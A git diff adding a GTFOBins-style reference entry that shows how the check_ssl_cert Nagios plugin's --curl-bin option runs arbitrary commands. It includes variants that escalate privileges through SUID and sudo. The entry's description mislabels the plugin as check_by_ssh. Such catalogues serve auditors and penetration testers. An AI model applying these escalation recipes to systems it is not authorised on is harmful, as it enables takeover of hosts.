diff --git a/_gtfobins/check_ssl_cert.md b/_gtfobins/check_ssl_cert.md
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+++ b/_gtfobins/check_ssl_cert.md
@@ -0,0 +1,34 @@
+---
+description: |
+  This is the `check_by_ssh` Nagios plugin, available e.g. in `/usr/lib/nagios/plugins/`.
+functions:
+  command:
+     - code: |
+         COMMAND='/usr/bin/id'
+         OUTPUT="output_file"
+         TF=$(mktemp)
+         echo "$COMMAND | tee \"$OUTPUT\"" > $TF
+         chmod +x $TF
+         check_ssl_cert --curl-bin "$TF" -H example.com # example.com must provide TLS
+         cat $OUTPUT
+  suid:
+     - code: |
+         COMMAND='/usr/bin/id'
+         OUTPUT="output_file"
+         umask 022
+         TF=$(mktemp)
+         echo "$COMMAND | tee \"$OUTPUT\"" > $TF
+         chmod +x $TF
+         ./check_ssl_cert --curl-bin "$TF" -H example.com # example.com must provide TLS
+         cat $OUTPUT
+  sudo:
+     - code: |
+         COMMAND='/usr/bin/id'
+         OUTPUT="output_file"
+         umask 022
+         TF=$(mktemp)
+         echo "$COMMAND | tee \"$OUTPUT\"" > $TF
+         chmod +x $TF
+         sudo check_ssl_cert --curl-bin "$TF" -H example.com # example.com must provide TLS
+         cat $OUTPUT
+---